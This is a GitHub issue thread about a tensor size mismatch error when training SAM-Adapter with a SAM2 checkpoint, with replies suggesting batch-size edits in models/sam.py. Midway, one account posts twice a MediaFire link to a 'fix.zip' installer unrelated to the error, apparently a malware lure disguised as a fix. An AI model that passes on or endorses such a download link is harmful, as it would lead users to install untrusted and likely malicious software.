dimension error

[Stangerine]

/home/a/miniconda3/envs/zzq_sot/lib/python3.10/site-packages/mmcv/init.py:20: UserWarning: On January 1, 2023, MMCV will release v2.0.0, in which it will remove components related to the training process and add a data transformation module. In addition, it will rename the package names mmcv to mmcv-lite and mmcv-full to mmcv. See https://github.com/open-mmlab/mmcv/blob/master/docs/en/compatibility.md for more details.
warnings.warn(
config loaded.
train dataset: size=37
inp: shape=(3, 1024, 1024)
gt: shape=(1, 1024, 1024)
val dataset: size=24
inp: shape=(3, 1024, 1024)
gt: shape=(1, 1024, 1024)
inp_rgb: shape=(3, 1024, 1024)
model: #params=224.5M
model_grad_params: 3943789
model_total_params: 224512925
model_grad_params: 3943789
train: 0%| | 0/37 [00:00<?, ?it/s]Traceback (most recent call last):
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/train.py", line 257, in
main(config, save_path)
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/train.py", line 175, in main
train_loss_G = train(train_loader, model)
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/train.py", line 123, in train
model.optimize_parameters()
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/models/sam.py", line 395, in optimize_parameters
self.forward()
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/models/sam.py", line 245, in forward
low_res_masks, iou_predictions,sam_output_tokens,object_score_logits, = self.mask_decoder(
File "/home/a/miniconda3/envs/zzq_sot/lib/python3.10/site-packages/torch/nn/modules/module.py", line 1532, in _wrapped_call_impl
return self._call_impl(*args, **kwargs)
File "/home/a/miniconda3/envs/zzq_sot/lib/python3.10/site-packages/torch/nn/modules/module.py", line 1541, in _call_impl
return forward_call(*args, **kwargs)
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/models/mmseg/models/sam/mask_decoder.py", line 137, in forward
masks, iou_pred, mask_tokens_out, object_score_logits = self.predict_masks(
File "/data/zzq/object_tracking/SAM-Adapter-PyTorch/models/mmseg/models/sam/mask_decoder.py", line 207, in predict_masks
src = src + dense_prompt_embeddings
RuntimeError: The size of tensor a (128) must match the size of tensor b (256) at non-singleton dimension 1

[1sopropanol]

Download
https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file
In the installer menu, select "gcc."

[1sopropanol]

Download
https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file
In the installer menu, select "gcc."

[2023-ZNZX]

用sam2_hiera_large.pt的模型可以跑通，但是训练完保存下来的模型好像还是跑不通

[VictorZoo]

请问，你解决这个问题了吗？我也遇到了。用的也是sam2_hiera_large.pt的模型

[Stangerine]

请问，你解决这个问题了吗？我也遇到了。用的也是sam2_hiera_large.pt的模型
还没有解决

[CuckooEcho]

@Stangerine 我在使用 batch 为 1 的时候也遇到这个错误，通过修改 models/sam.py 下面的代码可以解决，你看和我情况一样不一样

def forward(self):
    bs = 1  # 修改 bs 2 为 1
    ...
   feats = [
        feat.permute(1, 2, 0).view(bs, -1, *feat_size) # 这里 view(2, -1, *feat_size) 修改为 view(bs, -1, *feat_size)   
           for feat, feat_size in zip(vision_feats[::-1], self._bb_feat_sizes[::-1])
        ][::-1]

def infer(self, input):
    bs = 1 # 修改 bs=1

    feats = [
        feat.permute(1, 2, 0).view(bs, -1, *feat_size) # 这里不用改
        for feat, feat_size in zip(vision_feats[::-1], self._bb_feat_sizes[::-1])
    ][::-1]

[shidizai-swpu]

只能改为2吗？如果我想批次是16或32会报错，怎么办？

[CuckooEcho]

@shidizai-swpu 你可以将 bs 修改为 batch size 的值，我的显存只够 bs=1 能够运行，所以才改为 1